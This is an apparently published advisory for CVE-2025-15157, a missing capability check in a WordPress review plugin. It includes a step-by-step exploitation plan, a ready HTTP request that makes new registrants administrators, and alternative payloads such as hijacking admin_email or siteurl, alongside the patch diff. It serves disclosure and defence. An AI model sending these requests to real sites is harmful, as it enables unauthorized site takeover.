CVE-2025-15157

Starfish Review Generation & Marketing for WordPress <= 3.1.19 - Authenticated (Subscriber+) Arbitrary Options Update via srm_restore_options_defaults

highMissing Authorization
8.8
CVSS Score
8.8
CVSS Score
high
Severity
3.1.20
Patched in
63d
Time to patch

Description

The Starfish Review Generation & Marketing for WordPress plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check on the 'srm_restore_options_defaults' function in all versions up to, and including, 3.1.19. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update arbitrary options on the WordPress site. This can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=3.1.19
PublishedFebruary 13, 2026
Last updatedApril 17, 2026
Affected pluginstarfish-reviews

What Changed in the Fix

Changes introduced in v3.1.20

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2025-15157 ## 1. Vulnerability Summary The **Starfish Review Generation & Marketing for WordPress** plugin (versions <= 3.1.19) contains a critical missing authorization vulnerability in its AJAX handling logic. Specifically, the function `srm_restore_options_defa…

Show full research plan

Exploitation Research Plan - CVE-2025-15157

1. Vulnerability Summary

The Starfish Review Generation & Marketing for WordPress plugin (versions <= 3.1.19) contains a critical missing authorization vulnerability in its AJAX handling logic. Specifically, the function srm_restore_options_defaults is registered via the wp_ajax_starfish-execute-restore-default-options hook but fails to perform any capability checks (e.g., current_user_can()) or nonce verification.

Because wp_ajax_ hooks are accessible to any authenticated user, a Subscriber-level attacker can invoke this function to update arbitrary WordPress options. This allows for total site takeover by enabling user registration and setting the default new user role to "administrator".

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: starfish-execute-restore-default-options
  • Method: POST
  • Required Role: Authenticated (Subscriber or higher)
  • Vulnerable Parameter: options (an associative array)
  • Preconditions: The attacker must be logged in as a Subscriber.

3. Code Flow

  1. Entry Point: The plugin registers the AJAX action in init/actions/ajax/starfish-ajax-callbacks.action.php:
    add_action( 'wp_ajax_starfish-execute-restore-default-options', 'srm_restore_options_defaults' );
    
  2. Execution: When a POST request is sent to admin-ajax.php with action=starfish-execute-restore-default-options, the srm_restore_options_defaults() function is executed.
  3. Vulnerable Logic: Inside srm_restore_options_defaults():
    • The function retrieves $options = $_POST['options'].
    • If $_POST['funnel_id'] is not set, it enters the else block:
      foreach ( $options as $option => $args ) {
          update_option( $option, stripslashes( $args['default'] ) );
      }
      
    • It iterates through the options array and calls update_option() using the key as the option name and $args['default'] as the value.
  4. Sink: The update_option() function is a core WordPress function that modifies the wp_options table.

4. Nonce Acquisition Strategy

Analysis of init/actions/ajax/starfish-ajax-callbacks.action.php reveals that the srm_restore_options_defaults function does not implement any nonce verification.

While other functions in the same file (like srm_export_feedback or srm_purge_logfile) use wp_verify_nonce or check_ajax_referer, srm_restore_options_defaults simply processes the $_POST['options'] array immediately.

Conclusion: No nonce is required for exploitation.

5. Exploitation Strategy

The goal is to modify users_can_register and default_role to allow the attacker to create a new administrator account.

Step-by-Step Plan

  1. Login: Authenticate as a Subscriber user.
  2. Option Update Request: Send a POST request to /wp-admin/admin-ajax.php.
    • Body Parameters:
      • action: starfish-execute-restore-default-options
      • options[users_can_register][default]: 1 (Enables "Anyone can register")
      • options[default_role][default]: administrator (Sets default role to Admin)
  3. Account Creation: Navigate to /wp-login.php?action=register and register a new user. This user will automatically be granted the Administrator role.

Payload Construction

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.local
Content-Type: application/x-www-form-urlencoded
Cookie: [Subscriber Cookies]

action=starfish-execute-restore-default-options&options[users_can_register][default]=1&options[default_role][default]=administrator

6. Test Data Setup

  1. Install Plugin: Starfish Review Generation & Marketing for WordPress version 3.1.19.
  2. Create Victim User:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
    
  3. Confirm Initial State:
    wp option get users_can_register # Expected: 0 or empty
    wp option get default_role      # Expected: subscriber
    

7. Expected Results

  • The AJAX request should return a JSON response: {"type":"success"}.
  • The WordPress database should reflect the changed options.

8. Verification Steps

After sending the exploit request, verify the changes via WP-CLI:

# Check if registration is enabled
wp option get users_can_register
# Output should be: 1

# Check if default role is administrator
wp option get default_role
# Output should be: administrator

9. Alternative Approaches

If the target site has restricted /wp-login.php?action=register, an attacker could update other critical options:

  • admin_email: Change the site administrator email to the attacker's email to initiate a password reset for the main admin.
    • Payload: options[admin_email][default]=attacker@example.com
  • siteurl / home: Redirect all traffic to a malicious domain (though this is destructive and less subtle).
  • wp_user_roles: Modify the capabilities of the 'subscriber' role itself to grant manage_options. (Requires more complex serialization in the default parameter, but feasible as stripslashes is the only filter applied).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Starfish Review Generation & Marketing for WordPress plugin fails to perform capability checks or nonce verification on its 'srm_restore_options_defaults' AJAX function. This allow authenticated users with Subscriber-level permissions or higher to update arbitrary WordPress options, which can be leveraged to enable public registration and set the default user role to administrator for full site takeover.

Vulnerable Code

// init/actions/ajax/starfish-ajax-callbacks.action.php line 46
function srm_restore_options_defaults() {
	$options = $_POST['options'];
	if ( isset( $_POST['funnel_id'] ) ) {
		foreach ( $options as $option => $args ) {
			update_post_meta( $_POST['funnel_id'], $args['funnel_cf_id'], $args['current'] );
		}
	} else {
		foreach ( $options as $option => $args ) {
			update_option( $option, stripslashes( $args['default'] ) );
		}
	}
	echo wp_json_encode( array( 'type' => 'success' ) );
	wp_die();
}

add_action( 'wp_ajax_starfish-execute-restore-default-options', 'srm_restore_options_defaults' );

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/starfish-reviews/3.1.19/init/actions/ajax/starfish-ajax-callbacks.action.php	2026-01-30 09:40:30.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/starfish-reviews/3.1.20/init/actions/ajax/starfish-ajax-callbacks.action.php	2026-02-23 08:19:30.000000000 +0000
@@ -44,7 +44,24 @@
  * @see /js/starfish-admin-funnel.js
  **/
 function srm_restore_options_defaults() {
-	$options = $_POST['options'];
+	// ✅ 1. Capability check (prevents Subscriber abuse)
+	if ( ! current_user_can( 'manage_options' ) ) {
+		wp_send_json_error( array( 'message' => 'Unauthorized' ), 403 );
+	}
+
+	// ✅ 2. Verify nonce (prevents CSRF)
+	if ( empty( $_POST['security'] ) ) {
+		wp_send_json_error( array( 'message' => 'Missing nonce' ), 400 );
+	}
+
+	check_ajax_referer( 'srm_settings', 'security' );
+
+	// ✅ 3. Validate input
+	if ( empty( $_POST['options'] ) || ! is_array( $_POST['options'] ) ) {
+		wp_send_json_error( array( 'message' => 'Invalid data' ), 400 );
+	}
+
+	$options = wp_unslash( $_POST['options'] );
 	if ( isset( $_POST['funnel_id'] ) ) {
 		foreach ( $options as $option => $args ) {
 			update_post_meta( $_POST['funnel_id'], $args['funnel_cf_id'], $args['current'] );

Exploit Outline

To exploit this vulnerability, an attacker must be authenticated as any user role (such as a Subscriber). The attacker sends a POST request to the `/wp-admin/admin-ajax.php` endpoint with the 'action' parameter set to 'starfish-execute-restore-default-options'. Since the function iterates through the 'options' POST parameter and passes the keys and values directly to the WordPress core 'update_option' function, the attacker can provide a payload like 'options[users_can_register][default]=1' and 'options[default_role][default]=administrator'. This enables user registration and ensures any new user created via '/wp-login.php?action=register' will have administrative privileges.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.